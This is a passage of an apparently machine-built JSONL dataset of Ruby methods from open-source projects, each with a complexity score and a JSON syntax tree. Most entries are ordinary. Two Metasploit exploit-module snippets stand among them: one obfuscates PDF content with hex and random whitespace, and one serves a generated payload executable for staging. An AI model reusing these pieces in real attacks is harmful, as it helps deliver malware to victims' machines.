},{\"type\":\"send\",\"children\":[null,\"db_report\",{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"lvar\",\"children\":[\"note\"]}]}]}]}","id":"eee73460-694f-407c-8286-0bd90486db24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/conflict/file.rb","start_line":34,"raw_source":"def lines\n        return @lines if defined?(@lines)\n\n        @lines = raw.lines.nil? ? nil : map_raw_lines(raw.lines)\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lines\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lines\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@lines\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"lines\"]},\"nil?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"map_raw_lines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"lines\"]}]}]}]}]}]}","id":"475c7e05-700a-4a30-8bcf-d6b4a7a401a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/conflict/file_collection.rb","start_line":35,"raw_source":"def files\n        @files ||= resolver.conflicts.map do |conflict_file|\n          Gitlab::Conflict::File.new(conflict_file, merge_request: merge_request)\n        end\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@files\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resolver\"]},\"conflicts\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conflict_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Conflict\"]},\"File\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"conflict_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"merge_request\"]}]}]}]}]}]}]}","id":"ad60cd50-ad4b-4347-90d3-5641890a30b1"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/produce/lib/produce/manager.rb","start_line":8,"raw_source":"def self.start_producing\n      FastlaneCore::PrintTable.print_values(config: Produce.config, hide_keys: [], title: \"Summary for produce #{Fastlane::VERSION}\")\n\n      Produce::DeveloperCenter.new.run unless Produce.config[:skip_devcenter]\n      return Produce::ItunesConnect.new.run unless Produce.config[:skip_itc]\n    end","complexity_score":13.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start_producing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"PrintTable\"]},\"print_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Produce\"]},\"config\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hide_keys\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Summary for produce \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"VERSION\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Produce\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_devcenter\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Produce\"]},\"DeveloperCenter\"]},\"new\"]},\"run\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Produce\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_itc\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Produce\"]},\"ItunesConnect\"]},\"new\"]},\"run\"]}]}]}]}]}","id":"2d756392-cecc-49c7-9aaa-343207ad8e32"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/adobe_reader_u3d.rb","start_line":518,"raw_source":"def ascii_hex_whitespace_encode(str)\n    result = \"\"\n    whitespace = \"\"\n    str.each_byte do |b|\n      result << whitespace << \"%02x\" % b\n      whitespace = \" \" * (rand(3) + 1)\n    end\n    result << \">\"\n  end","complexity_score":15.25,"ast_json":"{\"type\":\"def\",\"children\":[\"ascii_hex_whitespace_encode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"whitespace\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"each_byte\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"whitespace\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02x\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"b\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"whitespace\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\">\"]}]}]}]}","id":"fb122f0a-19b3-4dfa-8554-2c931328f604"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/remote_mouse_rce.rb","start_line":136,"raw_source":"def on_request_uri(cli, _req)\n    p = generate_payload_exe\n    send_response(cli, p)\n    print_good(\"Payload request received, sending #{p.length} bytes of payload for staging\")\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"_req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload request received, sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes of payload for staging\"]}]}]}]}]}","id":"2953af76-eaa3-4901-ab70-a7062ebae31c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_tools_controller.rb","start_line":42,"raw_source":"def import\n        existing_tool = AiTool.find_by(tool_name: ai_tool_params[:tool_name])\n        force_update = params[:force].present? && params[:force].to_s.downcase == \"true\"\n\n        if existing_tool && !force_update\n          return(\n            render_json_error \"Tool with tool_name '#{ai_tool_params[:tool_name]}' already exists. Use force=true to overwrite.\",\n                              status: :conflict\n          )\n        end\n\n        if existing_tool && force_update\n          initial_attributes = existing_tool.attributes.dup\n          if existing_tool.update(ai_tool_params)\n            log_ai_tool_update(existing_tool, initial_attributes)\n            render_serialized(existing_tool, AiCustomToolSerializer)\n          else\n            render_json_error existing_tool\n          end\n        else\n          ai_tool = AiTool.new(ai_tool_params)\n          ai_tool.created_by_id = current_user.id\n\n          if ai_tool.save\n            log_ai_tool_creation(ai_tool)\n            render_serialized(ai_tool, AiCustomToolSerializer, status: :created)\n          else\n            render_json_error ai_tool\n          end\n        end\n      end","complexity_score":52.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_tool\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiTool\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ai_tool_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tool_name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"force_update\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force\"]}]},\"to_s\"]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_tool\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"force_update\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Tool with tool_name '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ai_tool_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tool_name\"]}]}]},{\"type\":\"str\",\"children\":[\"' already exists. Use force=true to overwrite.\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"conflict\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_tool\"]},{\"type\":\"lvar\",\"children\":[\"force_update\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"initial_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_tool\"]},\"attributes\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_tool\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"ai_tool_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_ai_tool_update\",{\"type\":\"lvar\",\"children\":[\"existing_tool\"]},{\"type\":\"lvar\",\"children\":[\"initial_attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"existing_tool\"]},{\"type\":\"const\",\"children\":[null,\"AiCustomToolSerializer\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"existing_tool\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ai_tool\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiTool\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"ai_tool_params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_tool\"]},\"created_by_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_tool\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_ai_tool_creation\",{\"type\":\"lvar\",\"children\":[\"ai_tool\"]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"ai_tool\"]},{\"type\":\"const\",\"children\":[null,\"AiCustomToolSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"created\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"ai_tool\"]}]}]}]}]}]}]}","id":"1255ad11-388f-40ac-a91b-7c6c42205efe"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/antispam_spec.rb","start_line":37,"raw_source":"def spam_reports\n          Account.representative.reports.where(target_account: status.account).spam\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"spam_reports\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"representative\"]},\"reports\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"account\"]}]}]}]},\"spam\"]}]}","id":"e0244704-08a6-48db-8899-e99c47663ac5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":475,"raw_source":"def test_autodiscovery_link_tag_with_unknown_type_but_not_pass_type_option_key\n    assert_raise(ArgumentError) do\n      auto_discovery_link_tag(:xml)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_autodiscovery_link_tag_with_unknown_type_but_not_pass_type_option_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"auto_discovery_link_tag\",{\"type\":\"sym\",\"children\":[\"xml\"]}]}]}]}","id":"46ac01fa-09ae-4b15-8043-9f2d176aee8e"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/muut.rb","start_line":150,"raw_source":"def process_muut_post_body(arg)\n    raw = arg.dup\n    raw = raw.to_s\n    raw = raw[2..-3]\n\n    # new line\n    raw.gsub!(/\\\\n/, \"\\n\")\n\n    # code block\n    raw.gsub!(\"---\", \"```\\n\")\n\n    # tab\n    raw.gsub!(/\\\\t/, \"  \")\n\n    # double quote\n    raw.gsub!(/\\\\\\\"/, '\"')\n\n    raw = CGI.unescapeHTML(raw)\n    raw\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_muut_post_body\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[-3]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"---\"]},{\"type\":\"str\",\"children\":[\"```\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\t\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"  \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\\\\\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescapeHTML\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}","id":"c1cb2d24-f9cb-47f9-b842-967c08c480ef"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/exports/formatters/spent_units.rb","start_line":33,"raw_source":"def self.apply?(name, _export_format)\n        %i[costs_by_type spent_units].include?(name.to_sym)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"apply?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"_export_format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"costs_by_type\"]},{\"type\":\"sym\",\"children\":[\"spent_units\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]}]}","id":"82e4282b-91dd-4e38-a21f-103b0eb61fcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/metadata/parse_hcl_file_service.rb","start_line":149,"raw_source":"def process_argument_declaration(line, args)\n          self.current_argument, argument_value = extract_argument(line, args)\n          is_heredoc = current_argument == 'description' && argument_value.start_with?('<<')\n\n          if is_heredoc\n            self.heredoc_tag = argument_value.sub(HEREDOC_PREFIX_REGEX, '').strip\n            block_data[current_argument] = +''\n          else\n            block_data[current_argument] = argument_value\n          end\n        end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_argument_declaration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_argument=\"]},{\"type\":\"lvasgn\",\"children\":[\"argument_value\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_argument\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"is_heredoc\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_argument\"]},\"==\",{\"type\":\"str\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument_value\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"<<\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_heredoc\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"heredoc_tag=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument_value\"]},\"sub\",{\"type\":\"const\",\"children\":[null,\"HEREDOC_PREFIX_REGEX\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_data\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"current_argument\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_data\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"current_argument\"]},{\"type\":\"lvar\",\"children\":[\"argument_value\"]}]}]}]}]}","id":"25d0d257-3542-40a5-9c92-e6b2e842e0ba"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_loader_resolver.rb","start_line":175,"raw_source":"def duplicate_setting?(base_hash, derived_hash, key, inherited_file)\n      return false if inherited_file.nil? # Not inheritance resolving merge\n      return false if inherited_file.start_with?('..') # Legitimate override\n      return false if base_hash[key] == derived_hash[key] # Same value\n      return false if PathUtil.remote_file?(inherited_file) # Can't change\n\n      Gem.path.none? { |dir| inherited_file.start_with?(dir) } # Can change?\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"duplicate_setting?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_hash\"]},{\"type\":\"arg\",\"children\":[\"derived_hash\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"inherited_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inherited_file\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inherited_file\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"..\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"derived_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PathUtil\"]},\"remote_file?\",{\"type\":\"lvar\",\"children\":[\"inherited_file\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"path\"]},\"none?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inherited_file\"]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]}]}]}","id":"96037cf2-c9d0-4156-bb83-491609bd22e0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/callbacks_test.rb","start_line":172,"raw_source":"def test_has_and_belongs_to_many_does_not_fire_callbacks_on_clear\n    activerecord = projects(:active_record)\n    assert_empty activerecord.developers_log\n    if activerecord.developers_with_callbacks.size == 0\n      activerecord.developers << developers(:david)\n      activerecord.developers << developers(:jamis)\n      activerecord.reload\n      assert activerecord.developers_with_callbacks.size == 2\n    end\n    activerecord.developers_with_callbacks.flat_map { |d| [\"before_removing#{d.id}\", \"after_removing#{d.id}\"] }.sort\n    assert activerecord.developers_with_callbacks.clear\n    assert_empty activerecord.developers_log\n  end","complexity_score":37.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_and_belongs_to_many_does_not_fire_callbacks_on_clear\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"activerecord\",{\"type\":\"send\",\"children\":[null,\"projects\",{\"type\":\"sym\",\"children\":[\"active_record\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activerecord\"]},\"developers_log\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activerecord\"]},\"developers_with_callbacks\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activerecord\"]},\"developers\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activerecord\"]},\"developers\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"jamis\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activerecord\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activerecord\"]},\"developers_with_callbacks\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activerecord\"]},\"developers_with_callbacks\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"before_removing\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"id\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"after_removing\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"id\"]}]}]}]}]},\"sort\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activerecord\"]},\"developers_with_callbacks\"]},\"clear\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activerecord\"]},\"developers_log\"]}]}]}]}","id":"c1b01526-5f73-4606-87a8-d14d4b81495a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_string_escape.rb","start_line":111,"raw_source":"def percent_q_literal?(node)\n          if literal_in_interpolated_or_multiline_string?(node)\n            percent_q_literal?(node.parent)\n          else\n            node.source.start_with?('%q')\n          end\n        